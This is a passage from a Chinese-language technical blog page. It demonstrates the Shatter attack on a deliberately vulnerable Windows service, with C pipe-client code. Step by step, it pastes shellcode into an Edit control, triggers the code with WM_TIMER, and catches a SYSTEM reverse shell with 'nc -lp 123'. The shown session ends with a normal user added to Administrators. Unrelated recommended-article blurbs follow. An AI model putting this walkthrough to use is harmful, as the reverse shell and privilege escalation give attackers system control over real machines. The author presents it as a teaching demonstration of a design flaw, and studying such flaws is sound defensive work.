
  #include

  #include

  #include

  #include

  int main(int argc, char* argv[])

  {

  char inbuf[80];

  char outbuf[80];

  DWORD bytesRead;

  BOOL ret;

  LPSTR lpszPipeName = "////.//pipe//simple";

  LPSTR lpszString = "World";

  strcpy( outbuf, lpszString );

  ret = CallNamedPipeA(lpszPipeName,

  outbuf, sizeof(outbuf),

  inbuf, sizeof(inbuf),

  &bytesRead, NMPWAIT_WAIT_FOREVER);

  if (!ret) {

  printf("client: CallNamedPipe failed for %d/n",

  GetLastError());

  exit(1);

  }

  printf("client: received: %s/n", inbuf);

  return 0;

  }

  <==================================================>

  FOON编写了一个攻击工具Shatter,大家可以参考他的文章来使用这个工具,而且他的网站上还有Shatter的源程序。这个程序专门攻击象SimpleService这样会创建Window的服务进程,它首先把Window中Edit Control的尺寸(Size)扩大,然后把可执行的 黑客码沾贴到Edit中,这样就把 黑客码拷贝到这个Window进程的内存中了----很Cool吧!接下来我们就要寻找 黑客码在内存中的地址,FOON是用Windbg去寻找这个地址的,详情请参考他的文章。最后Shatter向Window进程发送一个定时执行Message----“WM_TIMER”,迫使Window进程执行刚才拷贝进去的 黑客码。这个 黑客码是根据jill的 黑客码改编而成,它产生一个远程的cmd shell联结回到Client机器上,所以我们可以用鼎鼎有名的netcat程序与它联络。

  我现在来演示一下使用Shatter攻击SimpleService的过程,看看普通用户“moda”是如何通过Shatter提升权限的:

  先以普通用户“moda”登录,看看本地Administrators组当前的成员:

  Microsoft Windows 2000 [Version 5.00.2195]

  (C) Copyright 1985-1999 Microsoft Corp.

  D:/MyJob/tool/netcat>net localgroup administrators

  Alias name administrators

  Comment Administrators have complete and unrestricted access to the Members

  -----------------------------------------------------------------------------

  Administrator

  The command completed successfully.

  本地Administrators组只有Administrator一个成员。我们试一下能不能把“moda”加入到本地Administrators组。

  D:/MyJob/tool/netcat>net localgroup administrators /add moda

  System error 5 has occurred.

  Access is denied.

  很惨呀,得了一个“Access is denied.”的错误。

  下面运行程序Client,向SimpleService发送几个字节,於是SimpleService在普通用户“moda”的Desktop上产生一个对话框:

  这个对话框上有两个Edit Controls,一个对应着“Number Of Hit”,这里输出SimpleService的Named Pipe被访问的次数;一个对应着“Message Back”,这里输出SimpleService的Message。这两个Edit都可以被攻击利用,不过我这里以“Message Back”的Edit为例。让我们运行FOON的攻击程序Shatter:

  第一步:我们需要扩大Edit的尺寸(Size)。大家从SimpleService的源程序中可以看到,“Message Back”的Edit只允许40个char,而jill的 黑客码显然超过了这个长度,所以我们就通过Shatter向这个Edit的柄Handler发送EM_SETLIMITEXT,把它的尺寸扩大到0xffffffff(见下图)。

  第二步:把FOON改编的jill 黑客码拷贝到Clipboard上,然后往Edit发送WM_PASTE,你可以看到Edit中马上堆积了一长串乱七八糟的字符,这就是jill 黑客码。

  第三步:利用Windbg去寻找jill 黑客码在Window内存中的地址,这个过程FOON已经讲得很清楚了,所以就不用我罗嗦了。在dallas上我得到的地址是在0x1389c0附近。

  第四步:另外打开一个Dos窗口运行netcat,我们准备与打入敌营的侦察兵jill联络:

  D:/MyJob/tool/netcat>

  D:/MyJob/tool/netcat>nc -lp 123

  第五步:向Edit发送WM_TIMER,让Window进程跳去执行从0x1389c0开始的 黑客码。你马上就能看到netcat开始收到了jill发回来的内容,它输出一些版权信息。

  D:/MyJob/tool/netcat>

  D:/MyJob/tool/netcat>nc -lp 123

  Microsoft Windows 2000 [Version 5.00.2195]

  (C) Copyright 1985-1999 Microsoft Corp.

  第六步: 现在你就可以通过netcat与Window进程中的cmd Shell联系,可以向它发送命令,从它那里得到命令运行结果。这个cmd Shell具有Local System的权限,所以我们可以轻易地把普通用户“moda”加入到本地Administrators组中:

  D:/WINNT/system32>net localgroup administrators /add moda

  net localgroup administrators /add moda

  The command completed successfully.

  D:/WINNT/system32>net localgroup administrators

  net localgroup administrators

  Alias name administrators

  Comment Administrators have complete and unrestricted access to the Members

  -----------------------------------------------------------------------------

  Administrator moda

  The command completed successfully.

  D:/WINNT/system32>

  D:/WINNT/system32>

  以上就是我演示Microsoft这个缺陷的过程,虽说我有意把SimpleServic设计得易于 黑客攻击,但实际上还有不少的流行的程序也是犯了同样的错误,象FOON文章中提及的Network Associates VirusScan v4.5.1, 还有我最喜欢用的WinVNC等等,它们都在普通用户的Desktop上创建了一个具有Local System权限的Window。

  各位,编程序时要记住不要在阿猫阿狗的Desktop上创建Window啊!如果你给它们机会,阿猫阿狗也会成精的!

   结尾的话:

  提升权限的方法还有很多种,比如说可以直接用破密码的软件来获得Administrator的密码、可以利用系统进程缓冲区溢出来运行更高权限的 黑客码等等,我这里只是挂一漏万地介绍其中几个。
BitLocker全卷加密原理与TPM可信启动实战指南 全卷加密(FVE)是保障静态数据安全的基础技术,其核心在于绕过文件系统直接对磁盘扇区进行AES硬件加速加解密;而TPM硬件信任根则通过启动链完整性校验(PCR7)、密钥封装与物理隔离,构建起可信启动的第一道防线。相比文件级加密或软件容器方案,FVE具备透明性、低开销与抗冷启动攻击等工程优势,广泛应用于终端合规加固、离线设备加密及司法取证等强安全场景。本文聚焦Windows 7 BitLocker在真实环境中的闭环实现:从TPM激活、系统保留分区配置、PIN+TPM混合验证,到恢复密钥离线兜底与组策略深度调优 阅读详情

相关推荐

制造业生产线Windows电脑低成本指纹登录方案:从原理到部署实战

在制造业数字化转型与工业互联网安全备受关注的背景下,身份认证是构建安全防线的基石。其核心原理在于验证访问者身份的合法性,以防止未授权访问。传统的密码认证存在易遗忘、易泄露等弱点,尤其在生产线等共享环境中难以管理。生物特征识别技术,特别是指纹识别,因其‘随身携带、难以伪造’的特性,成为提升认证强度的关键技术。它将认证从‘知识因子’转变为‘生物因子’,在便捷性与安全性间取得了良好平衡。其技术价值在于以较低成本实现强身份绑定与操作可追溯,有效防御基于弱密码或凭证共享的初始攻击。在应用场景上,尤其适用于IT资源有限

weixin_33981932的博客 498

Windows更新后MySQL服务启动失败问题总结

由于 Windows 更新导致 MySQL登录各种报错 先后出现了 error 1: ERROR 1045 (28000): Access denied for user 'root'@'localhost' (using password: NO) error 2: ERROR 1045 (28000): Access denied for user 'root'@'localhost' (using password: YES) error 3: ERROR 2003 (HY000): Can't co

qq_43627529的博客 7045

遗传算法实战:N皇后问题的Python工程化实现与调优

遗传算法是一种模拟自然选择过程的通用启发式优化方法,其核心在于编码设计、适应度评估与种群演化机制的协同。在组合优化场景中,算法性能高度依赖于问题建模的合理性——例如N皇后问题采用整数排列编码可天然满足行约束,大幅压缩搜索空间;而适应度函数1/(q+0.001)不仅规避除零风险,更构建了平滑可导的概率权重体系。这种从数学原理到工程落地的闭环实践,显著提升了解的收敛稳定性与可调试性。本文以Python为载体,完整呈现从染色体初始化、冲突检测、精英选择到可视化分析的技术链路,特别聚焦遗传算法、N皇后问题两大热词在

weixin_33713503的博客 440

RabbitMQ启动失败

首先,你得先确认的你得Erlang的版本和RabbitMQ的版本是否能相互兼容,如果不能,请先下载对应的Erlang版本或者RabbitMQ版本。1.在Java中使用了RabbitMQ发现不停的尝试连接,却连不上的问题先在cmd下输入erl,看一下Erlang的环境变量配没有没有上图这个结果的,先配置对应的Erlang的环境变量其次,如果已经可以配置好了的Erlang,那我们先尝试在后台使用一下启动的命令输入上述命令,看一下直接运行的时候会不会报错如果报了这样的错。

Demolist的博客 3203

西门子PLC Modbus TCP通信实战:从IO配置到故障排查

工业通信协议是实现设备间数据交换的基石,其中Modbus以其开放、简单、通用的特点,成为连接不同品牌自动化设备的主流标准。其工作原理基于主从式查询-响应模型,通过定义明确的功能码和寄存器地址,实现数据的读写。这项技术的核心价值在于解决了工业现场异构设备互联的难题,极大提升了系统集成的灵活性和经济性。在工业自动化、楼宇控制、能源监控等场景中,Modbus协议被广泛应用于连接PLC、传感器、仪表和执行器。本文聚焦于西门子PLC与IO设备的Modbus通信实战,详细拆解了在TIA Portal环境中进行硬件组态、

weixin_34034261的博客 359

超星学习通滑块验证码逆向分析:从JS混淆到轨迹模拟的完整实战

滑块验证码作为一种常见的行为验证技术,其核心原理是通过分析用户拖动轨迹与缺口定位的交互行为,来区分人类操作与机器脚本。该技术通常结合前端加密、混淆以及后端风控策略,旨在提升自动化攻击的门槛。在Web安全与爬虫工程领域,逆向分析滑块验证码是提升JS逆向能力的关键实践,涉及网络请求分析、加密算法识别与轨迹模拟等核心技能。例如,在处理类似极验3逆向或点选验证码逆向等挑战时,掌握通用攻防逻辑与Hook技术至关重要。本文以广泛应用的在线教育平台为例,深入拆解其滑块验证码的全链路实现,为相关安全研究和技术学习提供系统的

weixin_33805992的博客 393

命令行文件重启服务器,Windows10命令行重启更新服务

更新失败后,联系微软客服,他们建议清理更新内存后重新尝试更新。实际原理是停止相关服务,删除缓存文件,再重启相关服务。具体步骤如下:右击左下角window 图标,打开命令提示符(管理员),依次输入以下命令net stop wuauservnet Stop cryptSvcnet Stop bitsnet Stop msiserverren C:\Windows\SoftwareDistributio...

weixin_34494211的博客 2391

启动MySQL发生系统错误 5时如何解决?

--

西安极客联盟 4082

启动MySQL的时候,报错:More help is available by typing NET HELPMSG 3534.

启动MySQL时候,报错:More help is available by typing NET HELPMSG 3534. 先说说我遇到的情况,我通过命令启动MySQL时候出现了这个报错,然后进入服务查看的时候发现同时存在一个MySQL和一个MySQL80,并且MySQL80是处于启动状态的 当我右键启动MySQL的时候,也是启动不了的 把MySQL80的服务停止掉,再去启动MySQL,又出现了新的报错:“windows无法启动mysql服务(位于本地计算机上) 错误193:0xc..

qq_39293334的博客 4184

程序员必备75道逻辑思维题(附答案)之二

逻辑训练 身为一个大数据工程师,平时的算法训练还是不能少的,今天给大家看几道我曾经看到的逻辑思维题觉得很好,想分享一下。 【6】一个球、一把长度大约是球的直径2/3长度的直尺.你怎样测出球的半径?方法很多,看看谁的比较巧妙 【7】五个大小相同的一元人民币硬币。要求两两相接触,应该怎么摆? 【8】猜牌问题 S先生、P先生、Q先生他们知道桌子的抽屉里有16张扑克牌:红桃A、Q、4 黑桃J、8、4、2、...

蛋蛋淡淡定的庄园 3547

JS逆向实战:从宿务航空机票搜索到参数签名算法解析

在现代Web应用开发中,前端与后端的数据交互安全是核心技术环节。其原理通常涉及参数签名、令牌验证等机制,用于防止未授权访问和数据篡改。这些技术的核心价值在于保障接口调用的合法性与数据完整性,广泛应用于电商、金融、旅行预订等对数据安全要求较高的场景。以机票搜索为例,网站常通过动态生成的签名参数来验证请求来源。本文以宿务太平洋航空为案例,深入解析其搜索请求中关键参数(如signature)的生成逻辑,并演示如何通过浏览器开发者工具进行断点调试、变量追踪,最终使用Node.js与crypto-js库本地复现完整请

weixin_26642481的博客 752

小规模无盘网吧解决方案(转)

一、方案背景   计算机网络飞速发展的今天,网络给了我们很多的方便,也带来了不少的烦恼,投资成本大、难以管理、维护困难;一个误操作,文件就可能被删除和破坏;WINDOWS操作系统经常需要重新安装;使用时产生的垃圾文件、产生的病毒...

cuankuangzhong6373的博客 500

【思考模型框架】MECE原则,确保分析时,考虑到的所有因素,既不重叠又无遗漏

MECE原则,是Mutually Exclusive and Collectively Exhaustive的缩写,中文译为“相互独立、完全穷尽”。MECE原则,这是一种逻辑思维和组织信息的方法,旨在确保分析时既没有遗漏也没有重复。MECE原则,相互独立、完全穷尽(Mutually Exclusive,Collectively Exhaustive)的原则MECE原则,确保分析时考虑到的所有因素既不重叠又无遗漏。

奶爸的编程之路,也就一周冷个三天 2756

方案:多服务器无盘网吧针对减低架构成本(转)

一、方案背景计算机网络飞速发展的今天,网络给了我们很多的方便,也带来了不少的烦恼,投资成本大、难以管理、维护困难;一个误操作,文件就可能被删除和破坏;WINDOWS操作系统经常需要重新安装;使用时产生的垃圾文件、产生的病毒,给人...

cuankuangzhong6373的博客 260

【AI理论学习】手把手推导扩散模型:Diffusion Models(DDPM)

生成扩散模型DDPM如下图所示分为前向、逆向两个过程,它首先通过不断往原始清晰数据中添加噪声使其变成标准高斯噪声(前向过程),而后期望从标准高斯噪声中还原原始数据(逆向过程)。若能实现,那便可从已知的标准高斯分布中采样一个噪声数据,而后利用DDPM模型生成符合原始数据分布的新数据。 Diffusion模型包含两个过程:数学符号:y∝xy\propto xy∝x:y正比于x,即y随着x增大而线性增大。 条件概率:贝叶斯公式:p(A∣B)=p(B∣A)×p(A)p(B)p(A|B)=\frac{p(B|A)\

小哲的博客 1512

cannot import name ‘BUFSIZE‘ from ‘numpy‘ 解决方案

本文主要介绍了cannot import name ‘BUFSIZE’ from ‘numpy’ 解决方案,希望能对使用numpy的同学们有所帮助。 文章目录 1. 问题描述 2. 解决方案

weixin_43178406的博客 22万+

多服务器无盘网吧的网络解决方案(转)

一、方案背景  计算机网络飞速发展的今天,网络给了我们很多的方便,也带来了不少的烦恼,投资成本大、难以管理、维护困难;一个误操作,文件就可能被删除和破坏;WINDOWS操作系统经常需要重新安装;使用时产生的垃圾文件、产生的病毒,...

cuankuangzhong6373的博客 705

OmniParser V2 和 OmniTool 让 AI 来控制 Windows 设备

OmniParser V2 和 OmniTool 是由微软开发的一套工具,通过屏幕解析技术让 AI 能够理解和控制 Windows 设备。OmniParser V2 是一款数据解析工具,可以解读屏幕内容,并将内容传递给大模型OmniTool 则是一个运行 Windows Agent 的工具,提供 Windows 界面给 AI 操作。

简简单单Onlinezuozuo 2740

CTF PWN入门:IDA静态分析栈溢出漏洞的三大核心技巧

栈溢出是二进制安全领域的经典漏洞类型,其原理是通过覆盖函数返回地址劫持程序控制流。理解栈帧布局、调用约定和内存地址计算是掌握该技术的核心。在CTF PWN和实际漏洞挖掘中,精准的静态分析能力直接决定了漏洞利用的成败。IDA Pro作为行业标准逆向工具,能高效解析二进制文件的函数逻辑、数据流和潜在脆弱点。本文聚焦栈溢出漏洞分析,针对新手常见误区,详解如何利用IDA准确定位危险函数、计算偏移量及定位后门函数地址,帮助读者建立稳健的逆向工程工作流,提升漏洞分析与利用效率。

java2000.net 490

深入YOLOv8内部核心:用RepNCSPELAN4深度重构主干网络,即插即用的高效涨点方案

本文提出了一种改进YOLOv8目标检测模型的方法,通过在YOLOv8中引入RepNCSPELAN模块来提高检测性能。该模块融合了RepVGG重参数化思想与CSP-ELAN结构,在保持推理速度的同时增强特征表达能力。实验结果表明,改进后的RepNCSPELAN-YOLOv8相比原模型在多项指标上均有提升:准确率从0.84提高到0.86,召回率从0.72提升至0.81,mAP50和mAP50-95也分别提高了0.06和0.04。文章详细介绍了模块设计原理和移植步骤,包括配置文件创建、代码修改等关键环节,为YOL

FJN110的博客 189

innovus:给channel加soft blockage

dbGet [dbGet top.fplan.pBlkgs.name finishfp_place_blkg_* -p].boxes就可以获得channel坐标。意思是给30um以下的channel加soft blk,至于channel的坐标,通过抓取该soft blk去获取,比较容易。工具自己加入的placement blockage命名上叫finishfp_place_blkg_*ICC2中有给channel自动加soft blockage的命令,相应的innovus也有类似的命令,我们可以使用。

m0_61544122的博客 484

朴素贝叶斯原理与实战:垃圾邮件过滤器的底层逻辑

朴素贝叶斯是一种基于贝叶斯定理与特征条件独立假设的概率分类算法,其核心在于利用先验概率与似然度进行证据加权推理。该算法虽‘朴素’,却因计算高效、数据需求低、可解释性强,在文本分类任务中长期保持高鲁棒性与实用性。在垃圾邮件检测等典型NLP场景中,它通过词频统计(如TF-IDF)将文本映射为概率空间,以极小资源开销实现98%+准确率。相比大模型,它在边缘部署、实时过滤、低成本服务等工程场景中具备不可替代的技术价值,是机器学习落地中最值得信赖的baseline方法之一。

weixin_30847939的博客 398

深度学习工具包 DeepLearningToolbox

深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain's apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) (Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[![Bitdeli Badge](https://d2weczhvl823v0.cloudfront.net/rasmusbergpalm/deeplearntoolbox/trend.png)](https://bitdeli.com/free "Bitdeli Badge")

蓝牙5.0到6.0演进与实战:串口调试、GPS输出、广播分析及驱动排查

蓝牙协议栈的每一次版本升级,核心都在解决连接效率与数据精度两大问题。从5.0的2M PHY、LE Coded PHY和广播扩展,到6.0的Channel Sounding厘米级测距,这些演进直接影响嵌入式开发、外设集成与调试工具的选择。本文从BLE基础原理切入,结合Serial Bluetooth Terminal串口透传、NMEA GPS数据输出、BLE广播包分析与洪泛防护,以及Windows下Generic Bluetooth Radio驱动排查等高频场景,剖析从协议栈到工具链的完整链路。无论你是做固件

weixin_34234721的博客 487

VB摄像头监控

该VB模块可对摄像头捕获的画面进行录像等,可在创建的窗口进行控制

NTscan扫描工具

ntscan是一个扫描器,可以扫描没有密码和弱密码的共享,先到配置文件中填写猜测的用户名和密码,扫描过程中右侧出现的是扫描日志。

大模型应用落地的三大非技术支柱:数据、能力与边界

大语言模型(LLM)应用并非单纯的技术工程,而是一套融合业务逻辑、组织协同与合规治理的系统性实践。其核心原理在于:模型能力由数据涌现、由任务定义、由边界约束。技术价值不在于参数规模或训练精度,而在于能否将模糊的业务意图,转化为可验证的数据规范、可度量的能力契约和可追责的边界规则。典型应用场景包括智能客服、政务问答、医疗辅助、教育内容生成等需高可信、强可控、易解释的领域。本文聚焦非技术人员必备的决策框架——数据从哪里来、能力往哪里去、边界在哪里划,直击27个跨行业项目中80%失败根源。

weixin_30236595的博客 440

Statistics and Machine Learning Toolbox

Statistics and Machine Learning Toolbox(带书签),MATLAB统计学习工具

PyTorch Java神经网络部署:从Python模型到Java生产环境的AI Infra实践

深度学习模型部署是企业AI基础设施(AI Infra)的关键环节。其核心原理是将训练好的神经网络模型集成到生产系统中,实现高效推理。这一过程的技术价值在于解决Python在生产环境中的性能瓶颈,如启动慢、内存消耗大和GIL锁等问题,通过Java生态实现低延迟、高吞吐的模型服务。应用场景广泛覆盖Spring Boot微服务、大数据处理平台和安卓应用等JVM技术栈。本文聚焦于PyTorch Java,探讨如何利用TorchScript和DJL(Deep Java Library)将Python训练的模型无缝部署

ciya3282的博客 321

Playwright与指纹套件集成:构建高匿名性爬虫的实战指南

在网络数据采集领域,反爬虫技术已从简单的IP与请求头校验,演进到基于浏览器指纹识别的深度检测阶段。浏览器指纹通过收集Canvas渲染、WebGL信息、字体列表、硬件并发数等众多浏览器与设备特征,生成近乎唯一的用户标识,使得传统伪装手段失效。为应对此挑战,高匿名性爬虫技术应运而生,其核心价值在于让自动化脚本的每一次请求在目标服务器看来都像是来自不同真实用户的访问,从而保障数据采集的稳定性与成功率。该技术通过集成浏览器自动化框架与指纹生成库,动态创建逻辑自洽且多样化的虚拟浏览器环境,广泛应用于市场调研、价格监控

weixin_34275734的博客 359
上一篇: MS Windows Telephony Service Command Execution Exploit (MS05-040)
下一篇: 根据PE文件格式获取LoadLibraryA()
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值